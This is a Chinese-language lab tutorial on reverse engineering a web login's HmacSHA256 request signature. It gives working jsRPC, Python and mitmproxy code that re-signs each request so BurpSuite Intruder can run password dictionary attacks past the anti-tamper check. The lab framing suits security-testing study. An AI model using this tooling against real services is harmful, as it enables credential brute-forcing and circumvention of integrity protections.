JS 逆向与接口签名自动加解密实战:从 HmacSHA256 到 mitmproxy 自动化
SEO 摘要
本文以实际靶场为例,详细讲解 JS 逆向中接口签名(signature)的加密逻辑与自动化加解密方案。内容包括 HmacSHA256 签名的生成原理、dataToSign 字符串的拼接规则、基于 jsRPC 的浏览器环境注入、Python 脚本远程调用签名函数,以及利用 mitmproxy 实现请求自动加签/解签的完整流程。适合从事爬虫逆向、接口安全测试的开发者参考。
一、接口签名分析
1. 定位签名参数
访问靶场页面,选择“明文加签”功能,打开浏览器开发者工具查看网络请求。观察到请求参数中包含 signature 字段,该字段用于服务端校验数据完整性,防止请求被篡改。
2. 跟踪签名生成逻辑
分析页面 JavaScript 源码,发现 signature 是基于 dataToSign 字符串通过 HmacSHA256 算法计算得到的。其中 dataToSign 由以下字段按顺序拼接:
const dataToSign = username + password + nonce + timestamp;
username:固定值为adminpassword:用户提交的密码明文nonce:固定随机字符串,如zqqz5xi8zfitimestamp:当前 Unix 时间戳(秒级)
签名计算方式如下:
const signature = CryptoJS.HmacSHA256(dataToSign, secretKey).toString(CryptoJS.enc.Hex);
其中 secretKey 为固定密钥,本文靶场值为 be56e057f20f883e。
3. 请求重放思路
重新封包时,timestamp 和 password 可变(password 为需要测试的字典值),其他字段保持不变。只需重新生成对应的 timestamp 与 signature,即可构造合法请求。
二、jsRPC 注入:在浏览器环境中调用签名函数
为避免重复分析 JS 逻辑,可以使用 jsRPC(JavaScript Remote Procedure Call)技术,将浏览器的执行环境注入为可远程调用的服务。
1. 注入 JsEnv_Dev.js
在浏览器控制台中粘贴并执行 JsEnv_Dev.js 代码,建立 WebSocket 通信环境。
2. 注册签名函数
创建客户端实例并注册名为 sgin 的动作函数:
var demo = new HlClient("ws://127.0.0.1:12080/ws?group=zzz");
demo.regAction("sgin", function (resolve, param) {
const username = 'admin';
const password = param;
const nonce = 'zqqz5xi8zfi';
const timestamp = Math.floor(Date.now() / 1000);
const secretKey = "be56e057f20f883e";
const dataToSign = username + password + nonce + timestamp;
const signature = CryptoJS.HmacSHA256(dataToSign, secretKey).toString(CryptoJS.enc.Hex);
resolve({ signature: signature, timestamp: timestamp });
});
上述代码中,resolve 用于将结果返回给调用方。外部传入 param(即 password),返回包含新签名和时间戳的对象。
三、Python 脚本调用 jsRPC 服务
编写 Python 脚本,通过 HTTP 请求访问 jsRPC 服务,获取签名结果。
import requests
import json
def sgin(password):
url = "http://127.0.0.1:12080/go"
params = {
"group": "zzz",
"action": "sgin",
"param": password
}
resp = requests.get(url, params=params, timeout=5)
resp_json = resp.json()
raw_data = resp_json["data"]
# 如果 data 字段是字符串,则解析为 JSON 对象
if isinstance(raw_data, str):
data = json.loads(raw_data)
else:
data = raw_data
return data["signature"], data["timestamp"]
if __name__ == "__main__":
print(sgin("123456"))
调用 sgin("123456") 即可获得针对该密码生成的 signature 和 timestamp。
四、mitmproxy 实现接口自动加解密
使用 mitmproxy 作为中间人代理,拦截目标请求,自动为请求体补充加密字段,实现透明的加解密流程。
1. 编写 mitmproxy 脚本
import mitmproxy
import requests
import json
from mitmproxy import ctx
def sgin(password):
"""调用 jsRPC 服务获取签名"""
url = "http://127.0.0.1:12080/go"
params = {
"group": "zzz",
"action": "sgin",
"param": password
}
resp = requests.get(url, params=params, timeout=5)
ctx.log.info(f"[sgin] http status:{resp.status_code}, resp text:{resp.text}")
resp_json = resp.json()
raw_data = resp_json["data"]
ctx.log.info(f"[sgin] raw_data类型:{type(raw_data)}, raw_data:{raw_data}")
if isinstance(raw_data, str):
data = json.loads(raw_data)
else:
data = raw_data
return data["signature"], data["timestamp"]
class dataencrypt:
def request(self, flow: mitmproxy.http.HTTPFlow):
target_path = "/encrypt/signdata.php"
ctx.log.info(f"[debug] path={flow.request.path}, method={flow.request.method}")
real_path = flow.request.path.split('?')[0]
if flow.request.method == "POST" and real_path == target_path:
ctx.log.info("[debug] 命中目标接口!")
try:
ctx.log.info(f"[debug]原始请求text={flow.request.text}")
ctx.log.info(f"[debug]content-type={flow.request.headers.get('Content-Type','')}")
ct = flow.request.headers.get("Content-Type", "")
if "application/json" not in ct:
ctx.log.error("[error]不是json请求!本脚本只处理json")
return
body_dict = json.loads(flow.request.text)
pwd = body_dict.get("password")
ctx.log.info(f"[debug]取出password={pwd}")
new_sig, new_ts = sgin(pwd)
ctx.log.info(f"[debug]拿到 new_sig={new_sig}, new_ts={new_ts}")
body_dict["timestamp"] = new_ts
body_dict["signature"] = new_sig
ctx.log.info(f"[debug]修改后的dict={body_dict}")
flow.request.text = json.dumps(body_dict)
ctx.log.info(f"[debug]最终发包body={flow.request.text}")
except Exception as e:
import traceback
err_msg = traceback.format_exc()
ctx.log.error(f"[exception]异常:\n{err_msg}")
addons = [dataencrypt()]
2. 启动 mitmproxy
执行以下命令启动代理,监听 9090 端口并加载脚本:
mitmproxy -p 9090 -s mitmproxy_sgin.py
3. 配置代理并测试
在 BurpSuite 中设置上游代理指向 127.0.0.1:9090,然后将请求提交到攻击器(Intruder)模块。配置密码字典进行批量测试,每次请求会自动生成正确的 signature 和 timestamp,实现自动化加解密。
五、运行验证
- 启动 jsRPC 服务端并完成浏览器注入。
- 运行 Python 脚本验证签名生成正确。
- 运行 mitmproxy 脚本并发起请求,观察日志确认签名被自动填充。
- 在靶场中提交伪造请求,若服务端校验通过,则说明整个自动化流程有效。
附:相关工具获取
本文涉及的工具与脚本(如 JsEnv_Dev.js、完整 mitmproxy 脚本等),可关注公众号回复关键字 20260826 获取。